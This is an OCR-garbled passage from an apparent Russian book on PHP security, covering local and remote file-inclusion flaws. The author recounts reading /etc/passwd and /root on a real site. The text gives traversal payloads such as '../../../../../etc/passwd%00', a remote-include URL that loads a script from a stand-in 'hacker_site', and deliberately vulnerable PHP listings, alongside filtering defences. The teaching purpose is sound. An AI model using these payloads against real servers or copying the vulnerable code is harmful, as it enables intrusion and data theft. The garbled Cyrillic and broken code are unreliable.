Hanpumep, passwd, B KOTOPOM HAXOAMTCA CIMCOK IMONb30BATENEH CHCTEMBI:
http://www.sitename.domain/index.php?dir=/etc&file=passwd. Pesynetar npeeso-
ILIet BCe OxKHAaHua. Mano Toro, 4to 1 yBUAen cogepXkumMoe ¢aiina, Tak ewe B 3a-
roaoBke okasanach HH(opmauus o6 ycranosnenHod OC (puc. 3.1). B nauHOM
cny4dae 310 okasanach FreeBSD. Ha pucyske s yaanuna Bce, YTO MOXKET yKa3aTh
BaM Ha Web-caiiT, 4 ocTaBun ToNbko coaepkUmoe daiina /etc/passwd.

Puc. 3.1. PeaynsTar npocmoTpa caiina naponen

llepBas cTpoka ualile BCEro yka3sniBaeT Ha Y4YETHYIO 3afMCh aAMUHHUCTpaTopa. TyT
XOYCTCH MOXBAJIMTHL aJIMHHHUCTPATOpa CepBepa 3a TO, YTO OH NEpeuMeHOBa MAR-
nyio yuerHyro 3anuch. [To ymonuanuio UNIX nns anMunucTpaTopcKoro Jioctyna
HCTIONB3YET UMA root, HO ero u3MeHuny Ha toor. Korieuno, 710 CIHUIKOM 11pocTo0
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pellueHHe, HO BCe-TakH JTydiue, YeM HUuero. Eciu Obl OHU K TOMY XKe nepeumeHo-
BaJIM AOMALLHIOK T1anKy aAMUHUCTpaTopa, 6b110 6bl COBCEM XOPOLLO.

[TocmoTpuTe Ha npeanocnenHiow 3amnuck. ObpaTuTe BHUMaHUE Ha IMyTh K MalKe:
/home/PahalN/./www/altruistic.ru. MMa nanku altruistic.ru yka3sbiBaet Ha TO, YTO
TaM JOKEH HAXOAMTHCA OAMH OuYeHb 3HaMeHHUThiii Web-caiit. Het, 1 B3nambiBan
HE ero, a Apyroi Web-caift, Ho 6naronaps Tomy, 4To 006a OHH HaxoaATCA Ha OJ-
HOM Web-cepsepe, 2 Noay4ra J4OCTYN H KO BTOPOMY.

[pexae ueM 3aKOHYHTL UCCAEAOBAHHE, 4 3arAHYA B AOMAILUHIONO MaNKy aaAMHHU-
ctpatopa: http://www.sitename.domain/index.php?dir=/root&file=.. Camoe
UHTEpPECHOE, YTO MHE OblTH MoKa3saHbl Bce ¢ahnbl. 3Ha4uT, npas y Web-cepeepa
AOCTAaTOYHO A paboThl ¢ 3TuMU (pafinamy, YTO y)Ke O4YeHb OMacHO, Beab B ATOH
nanke ABHO JIE)KAT pe3epBHBIC KOMTUH H KOMHH GaiioB KOHPHUIypaLHH.

Ha 3ToM 1 peiua 3aKOHYHTh MCCAEOBaHHE W HANPaBUTh aAMHHUCTPATOPY NHUCBMO
C OMHCaHWEM YA3BUMOCTH, 4TOOb! €€ CMOIIH 3aKphITh N0 BbIXOAA KHHUIH. A Belb
MOXXHO ObITO CKa4yaTb KOHQUIrypalUHOHHbie (ainbl W pe3CpBHBIE KOMKH, a TaKXKe
¢aiin c 3awudpoBaHHBIMK IAPOAAMH H, MPOAHAIW3WPOBAB HX, B3noMaTh Web-
cepBep M YAATHTD Bee ero conepikumoe. Ho 3T0 He yKpaluaeT HacToALIero Xakepa,
a TOAbLKO IIOPTHUT €ro pelryTaLuio, MOTOMY A He cTan 3Toro genatb. Bee daiinl,
HaliAeHHbIE MHOM, OCTATUCh HE TPOHYTHIMH, M A AaXKe He caenan cebe Hx xonuu.

HeobxoauMbii MMHUMYM ACACTBHHA, KOTOpHIE HOAXKHLI BLINMOAHUTL aAMHUHUCTpA-
TOpH! AN 3a1uThl Web-caifra:

O B napamerpe dir MpOBepATb HanW4ue cndiua W Touku. B arom cnydae Oyner
pa3peiieHo o6pawmaThCa TONLKO K 1aMIKaM, HaXOOAUMCS B TEKyLeH O4peKTo-
puH, T. €. HeAb3d OydeT yka3biBaTh TaKUe NMYTH, KAk, Harpumep, /etc. Hackonb-
KO MHE YIal0Ch [TOHATL CTPYKTYpY Web-caiiTa, B HEM He COAepPIKUTCS BJIOKEH-
HbIX AHPEKTOPHIA, H C/ILL IIPOCTO HE HYXKEH;

O He vcrnoAb30BaTh HMEHA apaMeTpoB BpoAC dir ¥ file. TakHe UMeHa MaHAT
A060ro B3NOMLUKKA, Kak KOTa BafepbaHka. Jlydiue 6u110 6b1 3aMeHUTH HX bec-
CMBICIEHHBIMH UMEHAMH, CKaXKeM, paraml U param2. He moransiBasch O Ha-
3Ha4eHHY fnapameTpa, HauHHAIOLKH B3JIOMLIMK HE CMOXET ObICTPO HAHTH eMy
npuMeHeHue. ONbITHLIA B3AOMUIMK ONMPEACAUT HazHauyeHWe napaMcrpa, Jaxe
eC/IH UM He HECET HUKAKOIro CMbICA;

O ua navHoM Web-caiiTe 3anpeTuTh TOUYKY HEJb3s, MOTOMY YTO OHa MCIOJL3YyeTCH
AN OTAENEHHS pacliMpeHHs, a OAWHOYHYIO 3anpeTuTb HeoOxoaumo. B arom
C/ly4ae B3JIOMIUMK HE CMOXET NMPOCMOTPETh COAEPKHMOE TEKYLIEH IHPEKTOPHH.

Echn O 2 nucan cueHapuii, TO B Napamerpe file nepeaasas Obl TONBKO HMA
¢aiina 6e3 pacwyMpeHus, a pacuidpeHue noacTaeiaan 6w nporpaMMHo. [lng aToro
HY>KHO, 4TOOBI BCE NOAKIIOYaeMble (ainbl HMENH OOHO pacIHpEHHE, B KaYecTBe
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KOTOpOro A 6b1 BBIGpan uTo-HUGYAL GeccMbicneHHoe, Hanpumep, fdfgdg. B 3tom
cny4yae B ctpoke URL nepenaercs umsa aupextopud W (aiina 6e3 paciidpeHus,
a pacClUMpeHHe MMOACTABAETCA MPOrPAMMHO, YTO pellaeT TOAbKO OOHY OYEHb BaXK-
HyI0 npobaeMy, a AaJieKo He BCeE.

HomycTuM, B3NOMIIMK XO4eT mpocMoTpeTh ¢aiin maponei. Jlng 3Toro oH BBHIOJ-
Haer 3anpoc: http:/www.sitename.domain/index.php?dir=/etc&file=passwd.
CueHapuii fenaeT OCHOBHBIE TIPOBEPKH, 0ObeAUHAET NapaMeTp dir ¢ NapaMeTpoMm
file W mporpaMMHuo aoGasnsger paciuupenue fdfgdg. Hake ecnu B napamerpe dir
HeT MPOBEPKH Ha HaJH4YMe CAslla, B pe3ynbTaTe monyvaetcs: /etc/passwd.fdfgdg.
KoxeuHo e, Takoro ¢aiina He CylIECTBYET B CHCTEME, M CUEHApUi BbIZACT cO00-
weHue ob ownbke.

[TpubaBneHune paciiMpeHHA ele He rapaHTupyer 6e30macHOCTb, MOTOMY YTO 3TY
npobnemy nerko o6oitTH. J{omycTHM, 4TO y Bac B Ka4eCTBE napamerpa nepeaaercs
UM Qaiina, a B KauecTBe paclUHpeHHs NporpaMMHoO aobasnsercd news.php. 3to
He Ciy4aiHbili pUMep, 1 BUAEN TaKOe B peasibHOM NpUaokeHuu. Tenepsb, YToOb!
000HTH 3aLIHTY, XaKePy HY>KHO BBIMIOJHHTD CAEAYIOLIHE 1arK:

1. Cospath Ha cBoem Web-cepBepe 3noHaMepeHHbIH (aiin ¢ noObiM HMeHeM
1 paciuvipeHdem news.php, Hanpumep, http://hacker_site/hack.news.php.

2. Tlepenatb 3T1OT Qaiin B kauecTBe napametpa: http://www.sitename.domain/
index.php?file=http://hacker_site/hack.

Tenepp Baml cueHapuii BBINOAHHT coaepxuMoe ¢aiina http://hacker_site/
hack.news.php, ecnu daiin noaxnodaercs ¢ NOMOLILIO QYHKUUY include () WIH
require().

XoTa 3awuTy ¢ nporpaMMHbiM aobaBaeHUem pacliMpeHHs MOXKHO O0OMTH, pan
IPOCTHIX MPOBEPOK W 3alUMT CAenaer Bawl JOoM Kpernocteio. Eciu nomMumo npo-
rpaMMHOro nobassieHHs paciliMpeHUs caenaTtb NpoBepky Ha cumson /") To Xakep
yXe He CMOXKeT IpOBEeCTH TaKylo aTtaky. B kauecTse gonosHeHus k 3awuTe Heob-
XOOUMO MpOrpaMMHO A00aBAATH M Hayano NyTH, a BCE noakIlodaembie danib
cnoxuTb BMecTe. Hanpumep, nomintouaembie aiinbl pacrnonioxeHbl B AUPEKTO-
puu /var/www/html/inc ¥ umeroT pacuimpenue .dat. B atom cnyuae nyTs k dakiny
NOMKEH BLITAAETE TaK:

/var/www/html/inc/$file.dat

3aech nojpa3syMeBaeTca, YTO NepeMeHHas $file COAEPKHUT WMA NOAKIIOYAEMOTO
(haiina 6e3 pacwupeHus. Ho ¥ TyT ecTb 04Ha TOHKOCTb. I[ONycTHUM, 4TO Xakepy
yiaanoch kakuM-nubo obpaszom 3arpy3uts Ha Web-cepsep cBoii daiin cnenapus
non umenem hackfile, Hanpumep, B obuwenocTynHyio aupektopuio /tmp. Hrobb
HORK/IOYKTh 3TOT (haiin, xakepy Q0CTaTO4HO gaTh emy pacuiupenue .dat (hack-
file.dat) u B KauecTBe mapamerpa $file mepeaate nyTs .J./././.Amp/hackfile,
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Mopanb: HUkoraa He 3abbiBaiiTe QUABTPOBATH MapaMeTpbi, UCMIONb3YEMbiE MPH
¢dopMUpoBaHUH HMeHH (aiina, Ha NnocneaoBaTEAbLHOCTb CUMBOMOB "../",

Kak mHoro HioancoB rpH pa6ore ¢ Qaitnamu, Heysxenu cosnareny PHP ue Mornu npe-
ZYCMOTpeTh XOTA Obl IONOBUHY W3 3THX npobneM? Pabora ¢ ¢aitnoBoii cuctemoit Bee-
roa ornacHa, W MpexyCMOTpeTh BCE HEBO3MOXHO, MOITOMY NPHUXOAWTCH BbiOHpaTh
MeKAy mowpio W GezomacHocTbio. Paspaboruukd PHP npemocrasunu Ham molup
U rHOKOCTD, 2 Mbl JOJ/KHB! IIPABKIILHO BOCIIONB30BATECH ITHMH BO3MOXKHOCTAMM.

51 peKOMEHIYI0 HUKOrAa He nepenaBaTh UMeHa (ailyioB B BUAE MapaMETpPoOB, TEM
6onee 3anpocaMu GET. Uepes napamerpb! HEMb3A MepeaaBaTh HUUYETO, YTO CBA3AHO
¢ ¢aiinosoii cucremoii, ¢alinamu u, Tem Gonee, ¢ nporpaMmamu. Sl aymaio, uTo
3TY MbIC/b MOXHO BBIOHTH HA MOHMTOPE WJIH HamHMcaTh Ha riakaTe Ha cTeHe. Her,
3Ta peKOMEHJalLMA CBA3aHa He Toibko ¢ GeszomacHocThio. [Ipobnema B TOM, yTO
TakOH koA OyAeT y»aceH C TOYKH 3pEHUS YTEHUS U COnmpoBOXACHHA. Ecnu npu-
aeTca MaciuTabupoBaTh BO3MOXXHOCTH CueHapus (T. €. BBOAHTh HOBbI€ BO3MOXKHO-
CTH), TO BaM IPHAETCA NEpenucaTh He OAHY CTpouKy koda. Ecau ana maneHbkoro
Web-caiita nepenayy uMeH ¢aiiiios 1ocpeacTsoM MapaMeTpPoB €Lle MOXHO Of-
paBaaTh, TO [PH €ro pocte g paboThl MPUAETCA UCMOAbL30BaTh 6a3bl JaHHBIX,
II03TOMY AyYIlI€ 3apaHee 3a/10KHTh BOIMOXXHOCTDb HX HUCIIOAB30BAHHA.

BuiBaet, YTo HaiTH OLIMOKY He Tak NErko, Kak B MPUBEICHHOM BbILLE NMPHUMEPE,
IMOTOMY HTO nNapaMeTpbi, HCNOALB3YCMbLIE B Q)YHKI.IHHX include, require,
include_once U require_once, J&JI€KO HE€ BCerja Ha3biBalOTCA dir HIH file.
l'lepemeHHas MOXXET Ha3blBaTh KakK YroaHo, BIuUlOTb 40 klhjkl, BC€ 3aBUCUT OT Ha-
CTpOCHHA U OIbiTa NNporpaMMHUCTa.

Ha, onbIT TaKKe BAUAET HA MMEHA MEPEMEHHBIX. TOABKO HAYMHAIOWUNA MOXET
Ha3bIBaThb MEPEMEHHbIE id, pid, p_id, ppid U T. 4., TUIOAA HMEHA [apaMeTpoB
B BHAC NMPOU3BOAHLIX OT ciioBa id. Takue uMeHa He HecyT B cebe cMbIcaa, a 3Ha-
YHT, KOA, HCMONB3YIOLIHA 3TH NEPEMEHHbIC, CTAHOBUTCA TPYAHO YMTaeMbiM 1 6e3
KOMMEHTApHEB MOHATH B HEM YTO-THO0 OUEHDb CIOMKHO.

OnbITHBIE MPOrPAMMUCTDI, KOTOPbIE YK€ HE pa3 BCTPEUAIHUCL C TPYAHOCTAMH CO-
MPOBOXICHUA KOAA, CTapaloTCA NaBaTh OCMbLIC/IEHHBbIE MMeHA repeMeHHbIM. OHH
y3Ke He CTpeMATCA 3amyTaTh Xakepa 6eccMbicieHHbIM HAOOpOM CHMBOAOB, a cTapa-
IOTCA YNpPOCTHTL cebe xu3Hb, He 3abbiBas npH 3toM 0 OezonacHocT. XoT4, 3a6bITh
MPOBEPHTL OMpeleseH bl napaMeTp WK HerpaBuabHO BbIOpaTh MeTOa MY napa-
MeTpbl QUIbTPauMH MOXeT 1000, Aaxe OUEHb ONbITHLIA NPOrPaMMHCT.

U3 nuyHoOro oneita MOT'Y CKa3saTb, YTO MporpaMMHCTbI OQ4Y€Hb HaCTO HCIIONIbL3YIOT
CheayOLUIHUE NEPEMEHHBIC H HMEHHO Ha HUX HYXHO o6pau1a'rb BHUMAHHUEC!

0 dir — WMs ABHO YKa3bIBAeT HAa NPHHALIEAKHOCTb K AUPEKTOPHH;

O file — cCKOpee BCEro uepes 3TOT NnapameTp nepenaercs nojHoe UM Wiy 4acTb
umeHu ¢aiina;
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X
0O id — MOXeT coaepxaTb uaeHTHHKarop. Hanpumep, ecii B HOBOCTHOM NieHTe
KaXaas HOBOCTB TO OTAENBHbIA (aitn Buaa: newdNNN.htm, rae NNN — 310 Ho-
Mep HOBOCTH, TO 3TO 3HAUCHHE MOXKET MEPEAABATHCA Yepes NapaMeTp C HMEHEM id;

O lang — Hekotopbie Web-caliTbi HCNONB3yIOT WAGNOHB! A4 pa3HbIX HALMO-
HaIbHbIX A3b1KOB. [IpH 3TOM 3aroIoBOK M HIDKHAR YacTb Web-CTpaHHLBl MOTYT
XPaHHUTCA U1 pa3HbiX A3BIKOB B pa3HbiX (paiinax u MOAKIOYAaTbCA B 3aBUCHMO-
CTH OT 3HaueHHsa qaHHoro mapamerpa. Hanpumep, B ¢aiine header_en.htm xpa-
HHTCA aHrauiickuii 3aronosok (header) Web-caitra, a B ¢aiine header_de.htm —
Hemeuxkuid. TloawtioueHne COOTBETCTBYIOLIErO 3arojloOBKa MOXKET BbIrAAAETh
cAexyoIUM 0Opasom:
include ("header_".$_GET{'lang'}.".htm")

MoryT 6bITh ¥ ApYTHE HMEHA [IEPEMEHHBIX, U [UA WX MOUCKA XaKep MpPOCTO MbiTa-
€TCA Yyepe3 BCe HalAeHHbIE MapaMeTpbl nepenaTh Hayraa HabpaHHbIE CHUMBOJIBI
unyu cayvaiidbifi rekcT. Ecnin Web-crpanuua Ha owmbky B onpeneneHHOM Mapa-
MeTpe cooOWMT Ham, uTo ¢aiin He HalineH, TO Xakep MOXET HAACATLCA, YTO 3AECh
€CTb yA3BUMOCTD. JlanbHelIne qeHCTBHA — NONBITATLCA NONYUYHTb JOCTYN K CHC-
TEMHOMY (aily,  eCAH eCTb 3anpeTbi Ha UCMNOJML30BaHHE ONPeAeeHHbIX CHMBO-
0B, TO HEOOXOAUMO TONIbLITaTbCA UX O6OHTH.

3.1.2. MNpo6nema include

Jns 3akpenneHus nmpoiaeHHOro MaTepyana paccMOTpUM mpobieMy M3HYTpH, T. €.
B3IJISHEM HA CLCHapHWH, KOTOpLIH coaepkut owunbky. Koa cueHapus, sMyaupyio-
1(ero oubKy, IPUBEAEH B AUCTHHTE 3.1.

<HTML>

<HEAD>

<TITLE>PHP test</TITLE>

< /HEAD>

<BODY>

<center><h3>Injection test</h3></center>

<hr>

<a href="inc.php?dir=news&file=netutils">Read news</a>

<hr>

<7
if (isset($_GET('file'l))

i
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include($_GET['dir']."/".S_GET['file']);
}

?>

</BODY>
</HTML>

( MMpumevanue }

Bce cueHapuu, NPUBEAEGHHbIE B AAHHON KHWUre, Bb! MOXETE HAWTW HA NpuNaraeMom
KOMNAKT-AnCKe,

HaHHyio oilM6Ky Ha3bIBaIOT M0-pa3sHOMY, HO MHe GoJbiue HpaBHTCA "npobnema
include”, NMOTOMY YTO UMEHHO C 3Toi (QyHkuMeH cBazaHa owubka. [Tapamerp,
nofy4aeMbiii CUEHapueM, UCIOAb3yeTcs B (YHKUHMH include Oe3 kakux-nubo
nposepok. Ita pyHKUMa noaxaoyaer Paiin u orobpaxkaer ero. Ecnu B ¢aiine Ha-
xoautca PHP-kon, To on 6yner BbinmonHeH, a peaynbTaT Taloke 6ymer otobpaxken
Ha Web-crpannue. .

Bce, uTo mbl 6yneM roBoputb 0 QyHKUMH include, B PaBHOM CTENEHW OTHOCHTCA
M K require. OTa QyHKUHA TalOKe NOAKIIOYaeT (aiin U AenaeT ITo TeM XKe MeTo-
aoM. PazHuua ToAbKO B TOM, 4TO eciid (pailn He cyllecTByeT, PyHKUHMA include
BbIJACT OWHOKY ¥ NPOOOIKUT BBINOJHEHHE, @ PYHKUHUA require npepseT paboty
cueHapui. EcTb ewe QyHKUMH include_once M require_once, KOTOPbi€ [TOAKIIIO-
4aloT Gais ToALKO O/IMH pas.

3anauya xakepa nepefaTh TakMe napaMeTpbi, 4yToObn Ha Web-cTpanuue otobpaxa-
nace Heobxonumas emy uHpopmauusa. Hanpumep, ecnu noawmouuth Qaitn
[etc/passwd, rae HaxoaWTCA CIIUCOK BCEX MOb30BATENIEH CHCTEMbI, TO XaKep Oy-
IeT 3HaTh JOCTATO4HO MHOTO.

51 yxe nucan, 4To 3HaHHe UMeH YUYeTHLIX 3alTuceii 3HaUYUTEeAbHO ynpolaer pabory
xakepa. TalkKe cneayer y4yecTb, yTo 4YeM Oonbliue Moab3oBaTeNeil, TeM npoiue
OCYLIECTBUThL NMoAO0Op — Bbille BEPOATHOCTb, YTO KTO-TO BhiGepeT cebe mpocToit
naponb. OyeHb 4acTo ObiBaeT, uTo cpeav 100 yuyeTHbIX 3anuced y oaHoil obs3a-
TENbHO WMS W Mapoiib COBRAAyT. AAMUHUCTPATOPY B TaKUX CAy4YasxX OCTaeTca
TONILKO HaZeATbCA, YTO Y 3TOH Y4eTHOM 3anucu mMano npas, a caM CcpBep B AaH-
HbIf MOMEHT HE COAEPKHUT cepbe3HbiX onbok OC v KOH(HUrypauuH, C MOMOLUbIO
KOTOPBIX XaKEP CMOXET MOAY4HTh NpaBa aaMUMHHCTpPATOpA.

Hrak, B Hawem cnydae Ha Web-cTpaHuue ectb crneayrowas crtpoka URL:
http://192.168.1.5/inc.php?dir=news&file=netutils. 3aeck cuenaputo inc.php
rnepeaaeTcs jgBa napaMerpa dir U file. Yepes napamerp dir mnepesacrTcs UMA
JIMPEKTOPUH NEWS, W3 KOTOpOH HYXHO noaxnounTh ¢aiin, a B napamcrpe file
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ykasbiBaercd uMa Qaiina. Ecnu wenkHyTh Ha 3TO# CCBINKE, TO JOMKHA 3arpy3ﬁs-
ca Web-cTpanuua, BHelHUiH BHA KOTOpOH MoKasaH Ha puc. 3.2.

Puc. 3.2. PeaynbTaTt paboTbl cueHapun

Tenep, nonpobyeM mpocMoTpeth ¢aiin noas3zosareneii. Jina storo 8 nmapamerpe
dir HY)HO yKa3aTb /etc, a B kauyecTBe UMeHH (aiina ykassiBaem passwd. Tak kak
CueHapHii He MpOBepAeT rnapaMeTpbl, TO OH MO3BOAWUT HaM YBHAETH 3aBETHbIH
¢aiin (puc. 3.3).

Kak s yxe rosopun, cama uaes nepegavyd napaMeTpoB, KOTOPbIE HCNOJB3YIOTCA
B (yHKUHM include, AoCTaTO4HO npumuTHBHA. CTapaiiTech n3berath ee npume-
HEHKA, NOTOMY YTO OHO He CYJMT Huyero xopoitero. Ho aaxe ecnu perunuce,
c/ienaiite Bce HeoOXoAUMOeE [UIA NMPEeaOTBPAlLEHHA 3arpy3K1 Nob3oBaTeNeM MoA-
knouaeMblX ¢aitnos. B naHHoM cnydae U3 o6orx napamMeTpos MOXHO CMENO y/aa-
nath mobble CHMBOJBI, KpoMe 6ykB, 4TOObI HE ObIIO BO3MOXHOCTH NepeaaTh TOUKH
WK CJIILIH.

| lckoTopble CUHTAIOT, YTO €CNU MPOrpaMMHO A00aBIATh PaclIMPEHHE, TO ITO pe-
muT Bee npobnembl. Jro owubka. JonycTum, yuto Bel noakmoyaere ¢ain che-
AY1011iMM o6pa3oM:

include($_GET['dir'})."/".$_GET{'file'].".html");
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Puc. 3.3. Cnicok nonbaosaTtenei

K umenu ¢aitna nporpammuo no6aensercs pactuupende .html. Teneps, ecnn xa-
kep 3anpocut ¢aiin /etc/passwd, TO cueHapHii nporpamMmHO no0aBHT ewe H pac-
wwKMpeHde U nonyuutcs /etc/passwd.html. Takoro gaiina He cywecTsyeT, U CUeHa-
pui BepHer ownbky. Ha nepsbiit B3rnaa 3To peiueHue npobnembi, MOTOMY YTO
NIPOCMOTPETHL CHCTEMHBIE (paiinbl HeBo3MOXHO. Ho 3T0 TonbKO nepBblIit B3NS,

Jeno B TOM, 4TO €CTh ele Maruyeckuil cumeon "%00", kotopuif 03HaYaeT KOHeL
CTpokH. Xakepy HEOOXOAMMO TOJNILKO YKa3aTh B KauyecTBE AMpPEKTOpHM /etc,
a B KauecTse uMeHH (aiina passwd%00, n paclunpenue 6yner npournopuposano OC.

Teneps npeacTaBuM elle OAWH BapHaHT (OPMHpPOBaHUSA MyTH K ainy. Jomyctum,
yTo (haiinbl HOBOCTEH BBIFNAAAT creayroluM obpasom: directory/news_NN.html.
Yepes napamerpsl nepenaerca directory v NN, a cTpoka noak104eHUs B BUIE KO-
na ¢opmupyercs cneayowmm obpasom:
include($_GET(['dir']."/news_".$_GET['file'].".html");
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Teneps yxxe ecnu nepenats Yepes AMPEKTOPHIO /etc, a B mapaMeTpe Ana ¢alina pas§w¢
TO TOJYYUTCH ClIeAYIOWHiA NyTh: /etc/news_passwd. M cHoBa MOXkeT nokasaThes, YTO
koA 6e3onaceH, HO Ha caMoM Aiesie 310 He Tak. Kro cka3an, yto Mbi JO/KHBI pa3bHuBaTh
MyTb HAa QUPEKTOPHIO W Gaiin K nepenasaTh UX Mo oTaenbHOCTH? [ToyeMy Mbl HE MoO-
XKEM MepenarTs Bce yepes mapamerp dir? KoHeuHo e MOXKeM, MPOCTO YKasbiBaeM
cneqytoutuit URL: http://192.168.1.5/inc.php?dir=/etc/passwd %00 & file=.

Teneps monxbii myTh Kk (ainy nepenaerca vepes napameTp dir M cpasy Xe yKa-
3b1BAETCA KOHeL cTpoku /etc/passwd%00. DTo 3Ha4MT, YTO BCE CTPOKH, nNpHbGaB-
nfAeMbie NpOrpaMMHO K UMEHH (aiina, 6y ayT npOMrHOpUpPOBaHbI U XaKep MMOAYYHT
3aBETHBIH daitn.

Tenepb mormycTUM, YTO NpU MOAKMIOYEHHH K 3HAYEHHIO Mapamerpa nobasnsercs
HE TONBLKO PaCIUHPCHHE, HO KU NYTb, KAK IMMOKa3aHO B cnenylomeﬁ CTPOKE Koaa:
include (" /var/www/html/news/".$_GET{'file'].".html");

Tenepbr mombiTka nmepenath B KadecTBe napamerpa uMa daiina /etc/passwd%00
HE [acT HHYEro XOpOLUEro, MOTOMYy 4YTO B pe3ynbTaTe [MONYYHTCA MHYTh
{var/www/html/news//etc/passwd%00. Takoii nyTb, KOHEYHO XKe, HE CYLIECTBYET.
Tax kak cueHapuii nomeluaer Hac B AMpeKTOpHIO /var/www/html/news, To npexae
yeM CMOTperb Galn moab3oBaTeneH, MbI JOMKHBI MOJHATLCA B KOPEHb AMCKa,
W TOJIBKO MOTOM [EPEXOAUTS B /etc. UTo6bl 10IHATLCA HA YPOBEHD BbILE B OMEpa-
UUOHHOHN cUcTeMe, HeoOX0oAUMO yKka3aTh ABe TOMKH W cnat (../). UToObl mogHATE-
cA Ha fABAa ypOBHA, HE0OXOAUMO MOBTOPHTHL 3TY NMOCAECHOBATENbHOCTL OBAXAB.
M Tak oo Tex nop, noka Mbl He MOAHUMEMCA A0 KOPHA AKCKa.

Kak y3HaTh, rae KopeHb JUCKA U CKOJIBKO pa3 MOBTOPATH MOC/AEA0BATENbHOCTD ../.
B GonbiiMHCTBE CAYYAECB XaKepbl He yTpyxkaaloT ceba monbopamMu W nMouckamu
kopHs. [lef0 B TOM, YTO Bbille €ro BCE PaBHO HE MOAHWMELUbCH, IO3TOMY MOXHO
CMEI0 MOBTOPATb 3Ty MOCAECAOBATENbHOCTb pa3 AecATh. Sl MOBTOpUN NAThH pa3
u atoro 6biao aoctarouro. Cneayowuii URL nokazan mHe 3aBeTHbIA (aiin nonb-
soBareneii: http://192.168.1.5/param.php?file=../../../../../etc/passwd %00. Brirnon-
Haa 3toT URL, cueHapuio HeoOXoOMMO MOOKMIOYMTL creaylowui Qaiir:
/var/www/html/news/../../../../..Jetc/passwd % 00.

C Touku 3penua OC 3toT myTh BnoaHe KoppekTeH. CHauana Heo6XOQHUMO CITyc-
TUTLCA 1o ¢ainoBoil cucteme B aupektoputo /var/www/html/news, notom noa-
HATbCA Ha NATb YPOBHEH Bbille (3TUM MbI BO3BpalllaeMCs B KOPeHb AUCKA) U Mociie
ITOro OTKPLITh Gaiin passwd u3 /etc.

Jna 3awuTel B JaHHOM crAyvyae He 000HTHCH 6e3 (UAbTpaUHU, a BCE MNOIMBITKH
110/1b30BaThCA NPOrpaMMHbLIM A00aBneHHeM KakuX-TO yacTteii ¢aiina — OeccMbic-
neHHbl. Jna npoBepky MOXHO HanKcaTh QYHKUHIO checkparam, KOTOpPas C MOMOLLbIO
pPErynsapHbiX BblpaxeHui yaanut Bce kpoMe 6yks. IlonHbili kon 6osice 3ammuuieH-
HOrO CLUEHAPHA MOXKHO YBHIETh B IMCTHHIE 3.2,
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<HTML>

<HEAD>

<TITLE>Injection test</TITLE>

< /HEAD>

<BODY>

<center><h3>PHP test</h3></center>

<hr>

<a href="inc.php?dir=news&file=netutils">Read news</a>
<hr>

<?

// 3To QYHKUMA NPOBepKM NapaMeTpOoB
function checkparam(Svar)

{
$var=preg_replace("/["a-z]/i", "", $var):
return $var;

}

if (isset($_GET('file']))

{

// UcnonbsyeMm QyHKUMIO IJIA NPOBEPKM MapaMeTPOB Ha 3alpelieHHue CHUMBOJH
S_GET['file'] = checkparam($_GET{'file'));

$_GET['dir'] = checkparam($_GET['dir']);

include($_GET['dir']."/".5_GET['file']);
}

2>

</BODY>
< /HTML>

[ToueMy 3TOT cueHapuit Bcero nuuwb Oonee 3alIHLLIEHHBIA, HO HE NMpPeaoCTaBaseT
abcontoTHOM 3awmuThl? Jleno B TOM, 4TO Y Xakepa €lle ocTaerca oaHa naselika:
NPOCMOTPETHL MPOX3BONLHLINA (aiin B kopHe aucka. Ecnu napamerp dir OCTaBHMTH
NycTbIM, a B NapaMeTpe file Nepeaatb Wma daiina, To nodyyum nyth /filename,
rae filename — 310 UMs daiina. B kopxe avcka Linux HeT HUYero mose3noro U He
AO0JIA110 ObITh, NOITOMY 3Ta Na3eHKa HHYEro XOpowero He AacT.
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Hrak, punsTpoBatbcs 06A3aTEABHO JOJDKHBI:

O nsoi#iHble TOUKH, YTOOLI XaKep HE CMOI" MOAHATLCA HA YPOBEHb BHILLE B AepeBe
karajoros OC;

O cnamuM, YyTobbl Xakep He CMOI OMYCTUTHCA Ha YPOBEHb HH)KE B JiepeBe KaTano-
ros OC.

Byner nyuiue, ecnu yepes napamerpsl He OyaeT nepenaBarbCsa paciiMpeHHs, TOrAa
Bbl MOXKeTe (HALTPOBATb H OAUHAPHBIE TOYKU. DTO OYAET TOABKO AOMNONHUTENb-
HbIM TUIIOcOM K OesonacHocTH. HYem MeHbile CHUMBOJIOB AOCTYIIHO Xakepy, TeM
Nyville, UMEHHO NMO3TOMY B PyHKUUH QUABLTPALMH, IIPUBEAEHHON B AUCTHHTE 3.2,
U3 [apaMeTpa BbLIPE3aloTCA BCe CHMBOJIbI, KPOME TATHHCKUX OYKB.

[Tonobxele OIIMOKKH MOXXHO BCTPETHTL M B CLEHAPHAX, HAMMCAHHBIX HAa APYrUx
A3bIKaxX INPOrpaMMHPOBAHUA, 3TO CBA3AHO C TeM, YTO (QYHKUMH MOOKIIOYEHUS
¢aitno ectb He Tonbko B PHP.

YrtoObl Xakep HE UMEA OOCTYyNa K BaXKHOH HH(POpMALMK, BbI JOMKHBLI MaKCUMaJTb-
HO 3¢ deKTUBHO HACTPOKTH npasa goctyna. ns OC Linux naeanbHbiM BapHAHTOM
Oynet pabota B cpene chroot, yTo6bl xakep He CMOT NOAYYHTL HOCTYH K PeaJIbHOM
¢aiinoBoit cucTeMe U YBHAETb KOHUTrypaUHOHHbIe dalinel (cm. pazo. 1.10.1).

3.1.3. UHbeKuuna koaa

®yHKUMH include M require HE OrpaHH4HBaloTCa HaHanbHbLIM NpocMOTPOM ¢ali-
nos Ha Web-cepsepe. Ecau 661 npobieMa 6bina TONLKO B 3TOM, TO €€ MOXKHO ObUTO
Ob1 u3bexars MpaBUbHLIM KOHQUrypupoBaHueM, ytobbl Xakepy Obuin He no-
CTYIIHbI KPUTHYHBIE C TOYKH 3peHus He3onacHocTu dainbl. [Ipobaema B TOM, UTO
MOXKHO YKa3aTh yjaleHHbIi ¢aiin, pacnonoxkeHHblH coBepuieHHo Ha apyroM Web-
cepBepe, U CLeHapUi MOXKET 3arpy3|Th €ro Y BLIMIOJHHUTL TOYHO TakK XKe, KakK  J1o-
kanbHb#. [{aBaliTe nogpobHO paccMOTpUM 3Ty npobneMy cO Bcex CTOPOH.

Ana unarocTpauuM pUMepoB HalMILIEM CAEAYIOWMi ya3BuMbIA cueHapui, KoTo-
pbiii He 6yaeT npoBepATHL Nony4aeMbliii napamerp f£ile, KOTOPbIH HanpaMyto Oyner
nepenasaTbcs PYHKUMH include:
<HTML>
<HEAD>
<TITLE>Injection test</TITLE>
< /HEAD>
<BODY>
<?
if (isset(Sfile))
{
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print ($file. "<BR>");
include($file);
}

7>

</BODY>

</HTML>

